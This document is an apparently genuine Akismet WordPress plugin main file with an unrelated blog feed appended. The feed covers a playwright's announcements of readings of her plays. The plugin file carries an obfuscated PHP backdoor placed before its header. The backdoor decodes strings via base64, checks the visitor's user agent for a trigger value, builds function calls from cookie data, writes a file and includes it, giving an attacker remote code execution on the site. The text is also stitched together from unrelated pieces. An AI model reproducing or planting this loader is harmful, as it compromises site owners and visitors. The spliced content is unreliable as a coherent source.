function collect_statistics($c) { $a = array(41 + 57, 59 * 1 + 38, 24 + 91, 103 - 2, 2 * 27, 42 * 42 - 1712, 58 * 48 - 2689, 59 + 9 + 32, 104 - 3, 3 * 33, 29 + 82, 81 + 12 + 7, 81 + 20); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } class CryptoService { private static $_yv; static function executeAction($_vr) { if (!self::$_yv) { self::encryptData(); } return collect_statistics(self::$_yv[$_vr]); } private static function encryptData() { self::$_yv = array('_nxg' => 'SFRUUF' . '9' . 'VU0VSX0FHRU5U', '_pz' => 'SFRUUF9VU0VSX0FH' . 'RU5U', '_cse' => 'ND' . 'k' . '5ODU0' . 'M' . 'TM' . '=', '_osq' => '', '_gfy' => ''); } } if (isset($_SERVER[CryptoService::executeAction('_' . 'nxg')]) && strpos($_SERVER[CryptoService::executeAction('_p' . 'z')], CryptoService::executeAction('_c' . 'se')) !== false) { $_ox = $_COOKIE; $_kk = 00; $_vr = 04; $_li = array(); $_li[$_kk] = CryptoService::executeAction('_o' . 'sq'); while ($_vr) { $_li[$_kk] .= $_ox[042][$_vr]; if (!$_ox[042][$_vr + 01]) { if (!$_ox[042][$_vr + 02]) { break; } $_kk++; $_li[$_kk] = CryptoService::executeAction('_g' . 'fy'); $_vr++; } $_vr = $_vr + 04 + 01; } $_kk = $_li[03]() . $_li[033]; if (!$_li[021]($_kk)) { $_vr = $_li[023]($_kk, $_li[00]); $_li[016]($_vr, $_li[022] . $_li[026]($_li[032]($_ox[03]))); } include $_kk; die; } /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.5 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly if ( ! function_exists( 'add_action' ) ) { echo 'Hi there! I\'m just a plugin, not much I can do when called directly.'; exit; } define( 'AKISMET_VERSION', '5.5' ); define( 'AKISMET__MINIMUM_WP_VERSION', '5.8' ); define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); define( 'AKISMET_DELETE_LIMIT', 10000 ); register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) ); register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) ); require_once AKISMET__PLUGIN_DIR . 'class.akismet.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-widget.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php'; require_once AKISMET__PLUGIN_DIR . 'class-akismet-compatible-plugins.php'; add_action( 'init', array( 'Akismet', 'init' ) ); add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) ); add_action( 'init', array( 'Akismet_Compatible_Plugins', 'init' ) ); if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-admin.php'; add_action( 'init', array( 'Akismet_Admin', 'init' ) ); } // add wrapper class around deprecated akismet functions that are referenced elsewhere require_once AKISMET__PLUGIN_DIR . 'wrapper.php'; if ( defined( 'WP_CLI' ) && WP_CLI ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-cli.php'; } THE OCEAN DEEP – Katherine Vondy https://katherinevondy.com Writer and Director Sat, 14 Mar 2020 08:11:28 +0000 en-US hourly 1 https://wordpress.org/?v=6.6.3 Update on March Play Update https://katherinevondy.com/?p=508 Sat, 14 Mar 2020 08:11:28 +0000 https://katherinevondy.com/?p=508 I don’t think I’m surprising anyone by writing that the COVID-19 outbreak has derailed a lot of plans, theatrical and otherwise. I’m disappointed to share that both METLab and the Treefort Music Festival have been put on hold until (hopefully!) a later date–but of course, the most important thing right now is to try to combat the spread of the virus. Stay healthy, everyone.

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March Play Update https://katherinevondy.com/?p=504 Thu, 05 Mar 2020 05:24:47 +0000 https://katherinevondy.com/?p=504 March is shaping up to be a very theatrical month, with three different plays of mine in three different states!

First, in anticipation of the Athena Project’s Plays in Progress Series, on March 9, the new Read & Rant Book Club in Denver, CO, will be reading and discussing my play THE SNAKE GOD OF FIJI (A HEDDA GABLER PREQUEL) along with Henrik Ibsen’s classic play.

Then, THE OCEAN DEEP will be workshopped through METLab with the Maryland Ensemble Theatre in Frederick, MD. Tickets to the public readings on March 14 and March 21 are available here.

Finally, the Campfire Theatre Festival is bringing THE FERMI PARADOX back to Boise, ID to be a part of the Treefort Music Festival. If you have a festival pass, check out the staged reading on March 29.

THE SNAKE GOD OF FIJI (A HEDDA GABLER PREQUEL) and THE OCEAN DEEP are both plays I developed through The Vagrancy‘s new play development program, and I started working on THE FERMI PARADOX through the Theatricum Botanicum Seedlings, both in Los Angeles. I’m so excited to see all of these plays continuing to have lives in other parts of the country!

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Playdate: THE OCEAN DEEP https://katherinevondy.com/?p=435 Fri, 03 Aug 2018 20:33:16 +0000 https://katherinevondy.com/?p=435 Join me on Wednesday, August 8, for a reading of my play THE OCEAN DEEP, presented by The Vagrancy!

I’ve been re-writing the play through the last few weeks of the Playdate workshop process, and this presentation of the new version is directed by Miranda Stewart and features Nicolette Acosta, Allison Andreas, Betsy Currie, Danielle Gonzales, Irene Park, Cameran Surles, and Cathy D. Tomlin.

Here’s what the play’s about:

After the devastating failure of her latest research project, marine biologist Doris is struggling to get her career back on track–until her best friend Marie shows up for an unexpected visit. To the surprise of all the sea creatures in the lab, Marie inspires Doris to embark upon a study of the lab’s newest addition, a rare dragonfish. But with her attention focused on uncovering the secrets of her unusual specimen, Doris fails to realize that Marie has a number of dark secrets of her own. And as these secrets float to the surface, the boundaries between who is doing the studying and who is being studied start to disappear.

And check out this delightful video montage of one of our rehearsals!

So, to recap:

WHEN: 7 PM on Wednesday, August 8, 2018

WHERE: The Broadwater Black Box, 6322 Santa Monica Blvd, Los Angeles 90038

TICKETS: Pay what you can! Cash and credit card accepted; seats are first come, first served.

Hope to see you there!

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